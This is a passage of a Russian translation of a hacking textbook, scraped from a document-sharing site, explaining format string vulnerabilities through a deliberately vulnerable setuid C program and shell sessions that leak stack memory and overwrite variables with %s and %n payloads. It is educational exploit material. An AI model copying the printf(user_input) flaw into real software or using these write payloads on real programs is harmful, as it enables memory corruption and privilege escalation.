Главная страница
Навигация по странице:

  • Память 94 95 96 97

  • Хакинг. Хакинг__искусство_эксплоита_2_е_469663841. Книга дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах


    Скачать 2.5 Mb.
    НазваниеКнига дает полное представление о программировании, машин ной архитектуре, сетевых соединениях и хакерских приемах
    АнкорХакинг
    Дата16.06.2022
    Размер2.5 Mb.
    Формат файлаpdf
    Имя файлаХакинг__искусство_эксплоита_2_е_469663841.pdf
    ТипКнига
    #595131
    страница22 из 51
    1   ...   18   19   20   21   22   23   24   25   ...   51

    194
    0x300 Эксплойты
    Адрес A
    Значение B
    Дно стека
    Значение A
    Адрес форматной строки
    Вершина стека
    Рис. 3.2. Кадр стека для функции printf()
    Но что происходит, если в стек помещено только два аргумента, а в форматной строке три параметра форматирования? Попробуем из- менить строку printf() в примере со стеком на такую:
    printf(“A is %d and is at %08x. B is %x.\n”, A, &A);
    Это можно сделать в обычном редакторе или с помощью sed.
    reader@hacking:

    /booksrc $ sed -e ‘s/, B)/)/’ fmt_uncommon.c > fmt_uncommon2.c reader@hacking:/booksrc $ diff fmt_uncommon.c fmt_uncommon2.c
    14c14
    < printf(“A is %d and is at %08x. B is %x.\n”, A, &A, B);
    ---
    > printf(“A is %d and is at %08x. B is %x.\n”, A, &A);
    reader@hacking:/booksrc $ gcc fmt_uncommon2.c reader@hacking:/booksrc $ ./a.out
    The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
    count_one: 46
    count_two: 113
    A is 5 and is at bffffc24. B is b7fd6ff4.
    reader@hacking:/booksrc $
    В результате появляется b7fd6ff4. Откуда, черт возьми, взялось b7fd6ff4
    ? Оказывается, поскольку в стек не было помещено требуемое значение, форматирующая функция взяла данные из того места, где должен был находиться третий аргумент (прибавив число к текущему указателю кадра). Это означает, что 0xb7fd6ff4 является первым значе- нием за кадром стека для функции форматирования.
    На эту интересную особенность явно стоит обратить внимание. Очень удобно было бы управлять количеством аргументов, передаваемых функции форматирования или ожидаемых ею. Нам повезло: послед- нее возможно благодаря одной из распространенных ошибок програм- мирования.

    0x350 Форматные строки
    195
    0x352 Уязвимость форматной строки
    Иногда программисты выводят строки с помощью функции printf(string), а не printf(“%s”, string). Технически это прекрасно работает. Функции форматирования передается адрес строки вместо адреса форматной стро- ки, и она просматривает всю строку, выводя каждый символ. Оба метода приведены в следующем примере.
    fmt_vuln.c
    #include
    #include
    #include
    int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;
    if(argc < 2) {
    printf(“Usage: %s \n”, argv[0]);
    exit(0);
    }
    strcpy(text, argv[1]);
    printf(“The right way to print user-controlled input:\n”);
    printf(“%s”, text);
    printf(“\nThe wrong way to print user-controlled input:\n”);
    printf(text);
    printf(“\n”);
    // Отладочная печать printf(“[*] test_val @ 0x%08x = %d 0x%08x\n”,
    &test_val, test_val, test_val);
    exit(0);
    }
    Результаты компиляции и выполнения fmt_vuln.c:
    reader@hacking:/booksrc $ gcc -o fmt_vuln fmt_vuln.c reader@hacking:/booksrc $ sudo chown root:root ./fmt_vuln reader@hacking:/booksrc $ sudo chmod u+s ./fmt_vuln reader@hacking:/booksrc $ ./fmt_vuln testing
    The right way to print user-controlled input:
    testing
    The wrong way to print user-controlled input:
    testing
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $

    196
    0x300 Эксплойты
    Как видим, оба метода прекрасно работают со строкой testing. Но что произойдет, если в строке окажется параметр форматирования? Функ- ция форматирования попытается обработать параметр форматирова- ния и обратиться к соответствующему аргументу функции с учетом его смещения в кадре стека. Но, как мы уже видели, если в стеке нет ар- гумента функции, произойдет обращение к памяти, принадлежащей предыдущему кадру стека.
    reader@hacking:/booksrc $ ./fmt_vuln testing%x
    The right way to print user-controlled input:
    testing%x
    The wrong way to print user-controlled input:
    testingbffff3e0
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    С помощью параметра форматирования %x выводится шестнадцатерич- ное представление 4-байтного слова в стеке. Эту процедуру можно по- вторять для изучения памяти стека.
    reader@hacking:/booksrc $ ./fmt_vuln $(perl -e ‘print “%08x.”x40’)
    The right way to print user-controlled input:
    %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
    .%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%0 8x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
    The wrong way to print user-controlled input:
    bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78.252e7838.2e783830.
    78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.
    252e7838.2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.
    3830252e.30252e78.252e7838.2e783830.78383025.3830252e.30252e78.252e7838.
    2e783830.78383025.3830252e.30252e78.252e7838.2e783830.78383025.3830252e.
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    Именно так выглядит нижняя часть памяти стека. Вспомним, что в на- шей архитектуре в каждом 4-байтном слове обратный порядок байтов.
    Обращаем внимание на частое повторение байтов 0x25, 0x30, 0x38, 0x78 и 0x2e. Интересно, что в них содержится?
    reader@hacking:/booksrc $ printf “\x25\x30\x38\x78\x2e\n”
    %08x.
    reader@hacking:/booksrc $
    Как видите, это память самой форматной строки. Поскольку функция форматирования всегда находится в самом верхнем кадре стека, запи- санная в стеке форматная строка окажется ниже текущего указателя кадра стека (по большему адресу памяти). Это обстоятельство можно использовать для управления аргументами функции форматирования.
    Особенно удобно, если заданы параметры форматирования, аргументы которых передаются по ссылке, такие как %s или %n.

    0x350 Форматные строки
    197
    0x353 Чтение из памяти по произвольному адресу
    С помощью параметра форматирования %s можно читать произвольные адреса памяти. Поскольку можно прочитать данные первоначальной форматной строки, часть ее можно использовать для передачи адреса параметру форматирования %s:
    reader@hacking:/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
    The right way to print user-controlled input:
    AAAA%08x.%08x.%08x.%08x
    The wrong way to print user-controlled input:
    AAAAbffff3d0.b7fe75fc.00000000.41414141
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    Четыре байта 0x41 указывают, что четвертый параметр форматиро- вания осуществляет чтение с начала форматной строки, чтобы полу- чить нужные данные. Если четвертым параметром окажется %s, а не
    %x
    , то функция форматирования попытается вывести строку по адресу
    0x41414141
    . Это приведет к аварийному завершению программы с ошиб- кой сегментации, поскольку адрес окажется недопустимым. Но если адрес памяти имеет допустимое значение, то с помощью этого процесса можно прочитать строку, которая там находится.
    reader@hacking:/booksrc $ env | grep PATH
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games reader@hacking:/booksrc $ ./getenvaddr PATH ./fmt_vuln
    PATH will be at 0xbffffdd7
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\xd7\xfd\xff\
    xbf”)%08x.%08x.%08x.%s
    The right way to print user-controlled input:
    ????%08x.%08x.%08x.%s
    The wrong way to print user-controlled input:
    ????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/
    usr/bin:/sbin:/bin:/
    usr/games
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $
    Здесь с помощью программы getenvaddrизвлекается адрес переменной окружения PATH. Поскольку имя программы fmt_vuln на два байта ко- роче, чем getenvaddr, к адресу прибавляется 4, а байты располагаются в обратном порядке. Четвертый параметр форматирования %s выпол- няет чтение с начала форматной строки, полагая, что это адрес, пере- данный в качестве аргумента функции. На самом деле это адрес пере- менной окружения PATH, поэтому он выводится, как если бы printf() был передан указатель на переменную окружения.
    Теперь, когда известно расстояние между концом кадра стека и нача- лом форматной строки, можно опустить ширину поля в параметрах форматирования %x. Эти параметры форматирования нужны только

    198
    0x300 Эксплойты для просмотра памяти. Такой метод позволяет рассматривать любой адрес памяти как строку.
    0x354 Запись в память по произвольному адресу
    Параметр формата %s позволяет прочитать содержимое произвольного адреса памяти, тот же прием с параметром %n позволит выполнить за- пись по произвольному адресу. Уже интереснее.
    Переменная test_val, адрес и значение которой выводятся в отладоч- ном операторе уязвимой программы fmt_vuln.c, просто напрашивается на то, чтобы мы заменили ее значение. Тестовая переменная располо- жена по адресу 0x080499794, так что можно записать значение в эту пе- ременную, аналогично чтению.
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\xd7\xfd\xff\
    xbf”)%08x.%08x.%08x.%s
    The right way to print user-controlled input:
    ????%08x.%08x.%08x.%s
    The wrong way to print user-controlled input:
    ????bffff3d0.b7fe75fc.00000000./usr/local/sbin:/usr/local/bin:/usr/sbin:/
    usr/bin:/sbin:/bin:/usr/games
    [*] test_val @ 0x08049794 = -72 0xffffffb8
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\
    x08”)%08x.%08x.%08x.%n
    The right way to print user-controlled input:
    ??%08x.%08x.%08x.%n
    The wrong way to print user-controlled input:
    ??bffff3d0.b7fe75fc.00000000.
    [*] test_val @ 0x08049794 = 31 0x0000001f reader@hacking:/booksrc $
    Как видите, переменную test_val действительно можно перезаписать с помощью параметра форматирования %n. Значение, которое в нее за- писывается, зависит от количества байтов, выведенных перед %n. Им удобно управлять с помощью параметра ширины поля.
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%x%n
    The right way to print user-controlled input:
    ??%x%x%x%n
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc0
    [*] test_val @ 0x08049794 = 21 0x00000015
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\
    x08”)%x%x%100x%n
    The right way to print user-controlled input:
    ??%x%x%100x%n
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc
    0
    [*] test_val @ 0x08049794 = 120 0x00000078

    0x350 Форматные строки
    199
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\
    x08”)%x%x%180x%n
    The right way to print user-controlled input:
    ??%x%x%180x%n
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc
    0
    [*] test_val @ 0x08049794 = 200 0x000000c8
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\
    x08”)%x%x%400x%n
    The right way to print user-controlled input:
    ??%x%x%400x%n
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc
    0
    [*] test_val @ 0x08049794 = 420 0x000001a4
    reader@hacking:/booksrc $
    Задавая различные значения ширины поля в каком-нибудь из парамет- ров формата, предшествующих %n, можно вставлять последовательно- сти пробелов, в результате чего в выводе будут появляться пустые стро- ки, что позволяет управлять количеством байт, выведенных перед па- раметром формата %n. Для маленьких чисел такой подход годится, но для больших, таких как адреса памяти, он неприемлем.
    Взглянув на шестнадцатеричное представление значения test_val, за- мечаем, что его младшим байтом вполне можно управлять. Вспомним, что младший байт в действительности записывается в первый байт
    4-байтного слова памяти. Учитывая это, можно записать весь адрес.
    С помощью четырех операций записи по последовательным адресам памяти можно записать младшие байты в каждый из четырех байтов, образующих слово:
    Память 94 95 96 97
    Первая запись в 0x08049794 AA 00 00 00
    Вторая запись в 0x08049795 BB 00 00 00
    Третья запись в 0x08049796 CC 00 00 00
    Четвертая запись в 0x08049797 DD 00 00 00
    Результат AA BB CC DD
    В качестве примера попробуем записать в тестовую переменную адрес
    0xDDCCBBAA
    . В памяти первым байтом тестовой переменной должен стать
    0xAA
    , затем 0xBB, затем 0xCC и, наконец, 0xDD. Достичь этого позволяют четыре отдельные операции записи по адресам 0x08049794, 0x08049795,
    0x08049796
    и 0x08049797. Первый раз мы запишем значение 0x000000aa, второй раз – 0x000000bb, третий раз – 0x000000cc и, наконец, 0x000000dd.
    Выполнить первую запись должно быть нетрудно.
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08”)%x%x%8x%n
    The right way to print user-controlled input:
    ??%x%x%8x%n

    200
    0x300 Эксплойты
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc 0
    [*] test_val @ 0x08049794 = 28 0x0000001c reader@hacking:/booksrc $ gdb -q
    (gdb) p 0xaa - 28 + 8
    $1 = 150
    (gdb) quit reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\
    x08”)%x%x%150x%n
    The right way to print user-controlled input:
    ??%x%x%150x%n
    The wrong way to print user-controlled input:
    ??bffff3d0b7fe75fc
    0
    [*] test_val @ 0x08049794 = 170 0x000000aa reader@hacking:/booksrc $
    В последнем параметре формата %x указана ширина поля 8, чтобы стан- дартизировать вывод. Фактически это чтение из стека произвольного
    DWORD, печать которого может занять от 1 до 8 символов. Поскольку в test_val записано 28, то, указав в качестве ширины поля не 8, а 150, мы должны получить в младшем байте test_val значение 0xAA.
    Перейдем к следующей операции записи. Требуется еще один аргу- мент для другого параметра формата %x, который увеличит счетчик байтов до 187, что представляет собой десятичное значение 0xBB. Этот аргумент может быть любым – он должен только иметь четыре бай- та в длину и размещаться после первого произвольного адреса памя- ти 0x08049754. Поскольку все находится в памяти форматной строки, управление осуществляется просто. Слово JUNK (мусор) имеет длину
    4 байта и вполне нам подойдет.
    Затем надо поместить в память следующий адрес, 0x08049755, по которо- му должна выполняться запись, чтобы второй параметр формата %n мог обратиться к нему. Это значит, что в начало форматной строки надо по- местить целевой адрес памяти, четыре произвольных байта, а затем це- левой адрес памяти, увеличенный на единицу. Но все эти байты памя- ти также будут выводиться функцией форматирования с увеличением счетчика байтов, используемого параметром %n. Все запутывается.
    Наверное, надо было заранее продумать начало форматной строки.
    В результате мы должны выполнить четыре операции записи. Для каждой из них должен быть передан адрес памяти, а между адресами должны быть четыре байта мусора, чтобы увеличить счетчик байтов для параметров формата %n. Первый параметр формата %x может ис- пользовать те четыре байта, которые располагаются перед самой фор- матной строкой, но трем остальным надо передавать данные. Поэтому для операции записи в целом начало форматной строки должно выгля- деть, как на рис. 3.3.

    0x350 Форматные строки
    201
    0x08049794 0x08049795 0x08049796 0x08049797 94 97 04 08 J U N K
    95 97 04 08 96 97 04 08
    J U N K
    J U N K 97 97 04 08
    Рис. 3.3. Форматная строка в памяти
    Посмотрим, что из этого получится.
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08JUNK\x95\
    x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08”)%x%x%8x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%8x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc 0
    [*] test_val @ 0x08049794 = 52 0x00000034
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xaa - 52 + 8”
    $1 = 126
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08JUNK\x95\
    x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08”)%x%x%126x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%126x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
    0
    [*] test_val @ 0x08049794 = 170 0x000000aa reader@hacking:/booksrc $
    Адреса и «мусорные» вставки, расположенные в начале форматной строки, изменили значение, которое должна иметь ширина поля в па- раметре формата %x. Однако его легко вычислить заново с помощью прежнего метода. Можно поступить и иначе: вычесть 24 из прежней ширины поля 150, поскольку в начало форматной строки было добав- лено шесть 4-байтных слов.
    Теперь, когда в начале форматной строки заранее организована вся па- мять, вторая запись оказывается проще.
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xbb - 0xaa”
    $1 = 17
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08JUNK\x95\
    x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08”)%x%x%126x%n%17x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
    0 4b4e554a
    [*] test_val @ 0x08049794 = 48042 0x0000bbaa reader@hacking:/booksrc $
    Следующее значение, которое мы хотим записать в младший байт, –
    0xBB
    . Шестнадцатеричный калькулятор быстро показывает, что пе- ред следующим параметром формата %n надо вывести еще 17 байт. По-

    202
    0x300 Эксплойты скольку память уже настроена для параметра формата %x, вывести
    17 байт можно просто с помощью опции ширины поля.
    Эту процедуру можно повторить для третьей и четвертой записей.
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xcc - 0xbb”
    $1 = 17
    reader@hacking:/booksrc $ gdb -q --batch -ex “p 0xdd - 0xcc”
    $1 = 17
    reader@hacking:/booksrc $ ./fmt_vuln $(printf “\x94\x97\x04\x08JUNK\x95\
    x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08”)%x%x%126x%n%17x%n%17x%
    n%17x%n
    The right way to print user-controlled input:
    ??JUNK??JUNK??JUNK??%x%x%126x%n%17x%n%17x%n%17x%n
    The wrong way to print user-controlled input:
    ??JUNK??JUNK??JUNK??bffff3b0b7fe75fc
    0 4b4e554a 4b4e554a 4b4e554a
    [*] test_val @ 0x08049794 = -573785174 0xddccbbaa reader@hacking:/booksrc $
    Управляя младшим байтом, с помощью четырех операций можно за- писать полный адрес по любому адресу памяти. Следует заметить, что три байта, следующие за изменяемым адресом, при такой технологии также оказываются перезаписанными. Это можно увидеть сразу, если объявить еще одну статическую инициализированную переменную next_val непосредственно после test_val и показать в отладочном выво- де ее значение. Модифицировать код можно в обычном редакторе или с помощью sed.
    Начальным значением next_val сделаем 0x11111111, благодаря чему эф- фект операций записи станет очевиден.
    reader@hacking:/booksrc $ sed -e ‘s/72;/72, next_val = 0x11111111;/;/@/
    {h;s/test/next/g;x;G}’
    fmt_vuln.c > fmt_vuln2.c reader@hacking:/booksrc $ diff fmt_vuln.c fmt_vuln2.c
    7c7
    < static int test_val = -72;
    ---
    > static int test_val = -72, next_val = 0x11111111;
    27a28
    > printf(“[*] next_val @ 0x%08x = %d 0x%08x\n”, &next_val, next_val, next_val);
    reader@hacking:/booksrc $ gcc -o fmt_vuln2 fmt_vuln2.c reader@hacking:/booksrc $ ./fmt_vuln2 test
    The right way:
    test
    The wrong way:
    test
    [*] test_val @ 0x080497b4 = -72 0xffffffb8
    [*] next_val @ 0x080497b8 = 286331153 0x11111111
    reader@hacking:/booksrc $

    0x350 Форматные строки
    1   ...   18   19   20   21   22   23   24   25   ...   51


    написать администратору сайта